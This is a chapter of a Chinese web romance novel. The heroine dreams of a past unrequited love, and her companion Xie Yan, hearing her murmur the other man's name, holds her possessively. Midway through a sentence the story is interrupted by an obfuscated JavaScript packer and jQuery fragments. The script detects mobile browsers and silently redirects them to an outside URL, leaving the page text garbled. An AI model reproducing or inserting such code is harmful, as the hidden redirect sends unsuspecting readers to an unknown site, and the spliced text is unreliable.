62. 睡梦中喊的名字

作品:《妖女重生后误入疯批修罗场

    祁韫初没应,顾霁却匆匆走了。


    此后经年,再见原已是生死两隔。


    难言的悲痛涌上心头,她恍惚意识到自己在做梦,可还未清醒,便又昏昏沉沉地陷入另一个梦境。


    要离开云京城的前一天,祁钰拉着她要去后殿,给她看沉安国进贡来的狸奴,祁钰说狸奴通身雪白,眸色碧绿,甚是可爱,若她喜欢,就求了皇后让她带回北疆去。


    等到了后殿,狸奴却不知跑去哪里了,宫人们都去找,她察觉到祁钰的失落,想安慰他,却见祁钰一张如玉般的小脸上满是泪水,那双潋滟的眼睛湿润润地望着她,带着哭腔哽咽道:“阿姐,要不你带我走吧。”


    祁韫初第一次看见祁钰哭得这么伤心,刚想安慰,明年岁旦一定给他带更好的生辰礼物,只是话还没说出口,就听见两道熟悉的声音,她一下捂住祁钰的嘴,两人匆匆躲到了床榻下。


    帷幔飘扬间,祁钰睁着一双湿漉漉的眼睛,先是那袭华丽的宫装经过,而后便是月白色的衣角划过。


    是皇后和桓王妃。


    她们像在争论些什么,罢了,终是桓王妃叹了口气,低声唤她的闺名:“越越。”


    “你性格偏执,只是有些事,终归是改变不了的。”


    “小初的婚事,我会仔细考虑的,只是一切还需她自己愿意。”


    祁钰微微睁大了眼睛,她们,是在谈论阿姐的婚事。


    沈俭十五岁便中了举,后来不再做侍读,祁韫初就去刑部找他。


    不过两年没见,沈俭便抽条长成了一副芝兰玉树的模样,他说刑部不适合她去,便告了假,俩人走在热闹的长街中。


    沈俭性格极好,任她天南地北地胡侃什么,都会应下,然后又一字一句把她不懂的事解释给她听。


    只是俩人逛了大半天,最后祁韫初也没问出自己想问的。


    话在心头转了半晌,最终还是被她又咽了回去。


    回去的路上偶然遇见了沈俭那个年幼的弟弟,彼时的沈懔不过三岁年纪,就能搅得一方店铺昏天暗地,看见沈俭来了,便像是一下消了嚣张气焰,躲在仆从身后,眨巴着无辜的眼睛看着他们。


    沈俭周身冷淡地盯着他,沈懔却像有恃无恐一般,一挥手,又将店里的釉彩瓷瓶摔了个粉碎。


    许是和祁钰呆久了,祁韫初对待这种扰人的小孩颇有心得,不过三俩下,就把沈懔训得俯首帖耳,乖乖跟着仆从回去了。


    最后她想说的事,还是回到北疆后,斟酌了大半个月,再字字小心地写下,又寄信回云京。


    不过又半月,便有快马加鞭的回信回来,祁韫初欣喜异常,她在信中说过,若他不愿,便不必回信,此番既有回信,必是沈俭应了!


    祁韫初兴致勃勃地拆了信件,方一打开,却发现信上言辞狠绝,字字诛心,末了还补上一句,说自己早已心悦家中表妹,不日便要定下婚约,让她兀自珍重,此后不必再有联系。


    他早已有了心悦之人……


    还未发芽的心事就像被人兜头浇了一盆冷水似的,死的彻底,她不信沈俭如此决绝,将那信翻来覆去看了数遍,最后才肯相信不过是自己自欺欺人。


    此前种种,不过一厢情愿。


    而沈俭待她,一向疏离克制。


    她怎么非要到这种境地,才能回头呢?


    她在梦里哭到哽咽,喃喃自语。


    “沈俭……”


    世事变幻,再次睁眼,竟又是另一幅场景。


    这次却好像不是她的记忆,幽暗的祠堂内,烛火幽幽。


    少年人脊背挺直,身后喧扰声如潮涌入,有人冲进来,他赫然抬眼,如一把锋利刀刃刮骨般令人胆寒,那人颤了颤,身后倏然一片漆黑。


    这是……


    谢砚的记忆!


    她在噩梦中恍然醒悟,桓王府灭门之祸后不久,皇后在紫宸宫自尽,谢太傅中风,偌大谢氏门庭由谢砚一人撑起。


    皇后自戕,乃是灭门大罪,皇帝却念着旧情,放过了谢家。


    但谢氏族人不满,上门来闹,当夜谢家门户紧闭,直到第二日,竟无一人能从谢家大门走出来,自此,谢砚成了谢家历代以来最年轻的家主。


    记忆中春秋变换,初见还略显稚嫩的少年人很快褪去些许青涩,仍是高挺脊背,阔步昂首。


    熟悉又陌生的宫道上,有人拦住他,含羞带怯,谢砚眼睫没抬,只微微颔首,答:“谢砚已有婚约。”


    他只是告知,并无等人回答的意思,谢砚阔步离开,等走到宫道尽头时,就与身穿大红官服的人相遇,俩人均停住脚步,谢砚掀眉看他一眼,不高不低地喊了声:“沈大人。”


    沈俭深深看他一眼,眼神略一在他身后停留。


    怎么……又是沈俭?


    谢砚推开门,榻上人仍在陷入昏睡,她被毒草割伤,久久未醒。


    谢砚拧干帕子替她擦掉额头汗水,而后又翻身上了床,有一下没一下地抚着怀中人的背,安抚她的情绪。


    面具泛着冷光,隐约有潮湿湿意,谢砚轻轻摘下面具,将她眼角泪痕尽数抹去,而后就这样盯着那道盘踞在她额间的伤疤,凝神未动。


    世事变迁,她好像也被这伤疤禁锢,不再鲜活生动,谢砚替她戴回面具,又将人牢牢揽在怀里,眼中情绪变幻,冷光乍现。


    “沈俭……”


    沈俭。


    连梦中都是他吗?


    忽然听见这一句不太清晰却足够听出名字的梦呓,谢砚手臂僵了僵,面色在黑暗中更是沉得可怕。


    怀中人眉头紧蹙,依旧陷在噩梦里,谢砚却神经绷紧,像根拉扯到极限就要断的弦,只能将怀中人揽得更近,更紧,将人彻底揉进身体里,就这样与自己彻底融为一体,任她所有想法都要被自己气息彻底笼罩,继而转变心绪,心里,眼底,只装得下他一个人,才能不至于到崩坏的程度。


    姜扶楹被勒得快喘不过气,谢砚却仍觉不足。


    他心里乱七八糟地想,最后只归为一句话:她的心里,梦里,合该都只有他一个人。


    姜扶楹骤然清醒过来,如同溺毙之人再度获取新鲜空气般激烈喘息着。


    眼前一片昏暗,只有腰间的手臂如焊铁般将她禁锢在怀里。


    她想推,竟没能推开。


    整个屋子陷入一种诡异的静默之中,姜扶楹看


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16025202|168707||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不清谢砚的神色,却能觉察到他不同寻常的心跳声。


    她开口,声音竟有些哑:“还没天亮吗……”


    谢砚微微低头,下颚碰到她的头发,声音低沉暗哑:“已经天黑了。”


    天黑了?她竟然睡了一天吗?


    她被谢砚勒得难受,却怎么都推不开。


    她抬起头,那双温热的手却蓦然捂住她的眼睛。


    姜扶楹困惑地眨眨眼睛,长长的睫毛轻忽地划过掌心。


    于是长久的沉顿后,姜扶楹听见耳畔声音低低地问:“我是谁?”


    谢砚额角青筋猛跳,他清楚地知道自己不是在等一个回答,而是一个可以暂时压抑自己情绪的出口。


    但这话听起来像极其无聊的恶作剧,姜扶楹虽然昏睡很久,但脑子也不至于就此混沌了。


    她不想回答,谢砚却好像和这件事犟上了,她不答,就不松手,哪怕推攘,谢砚也没有退让的打算。


    “谢砚。”姜扶楹心中无奈地叹了口气,而后轻声喊道,耳畔衣襟摩擦,能听见谢砚强劲有力的心跳。


    姜扶楹叫出他的名字,谢砚突然松了口气,虽然如愿,心中沉重的情绪却不减分毫。


    谢砚忘不了。


    他记得那天宫道漫长,他在大雪中站着,脚下冰雪凝结,那时他不明白自己为什么在雪中站了那么久,就像后来在长街上,看见他们言笑晏晏,他也不明白自己为什么会恍惚失神。


    直到她亲眼死在自己面前,怀中的身体逐渐失温,变成一具冰冷的躯体。


    直到在深沉的睡梦中,在他的怀中,她呢喃喊出的,仍是旁人的姓名。


    他才惊觉,原来数年前,那一点偶然窥见的失落已经在他心里划开了一道口子,而后所见的每一点,都是在将这口子越拉越大,而他却丝毫未觉。


    现在他才发现,原来这道起初微不可见的口子,早已经在这些年的撕扯中刻骨铭心。


    他已经无法粉饰太平,所以,既然是她亲手撕开了这道他以家训为遮掩的伪装,她就该为此负责!


    就像当年他答应了与她的婚约,哪怕她死了,他这辈子也会为她守着这婚约。


    他们,应该是公平的,尽管这公平里,包含的全是他的私心。


    谢砚反手又将人按进怀里,他将人紧紧圈进自己的臂弯中,动作中全是霸道的占有欲,这一刻,天地无声。


    姜扶楹的心却逐渐下沉。


    她从劫后余生的噩梦里醒来,好像完全忘记了她到底是为何而来,竟沉溺在小院宁静的生活中,直到这场久到似乎回忆起作为祁韫初的全部人生,她才恍然惊醒。


    她怎么忘了,忘了接近谢砚的目的,忘了前世的教训。


    悬崖这一遭,明明她是想借此试探谢砚对她,究竟是有几分真感情,是否会在确定她身份后,再动杀心,是否能如她所愿,成为她刺向姜家的一把匕首,而如今,想到这些,她竟有些犹豫。


    姜扶楹不知道,手却恍然回抱住谢砚。


    既然走了这一步,就该继续走下去。


    俩人在这如墨染过的夜里,明明再找不出缝隙,却好像隔了天南地北,各怀心事。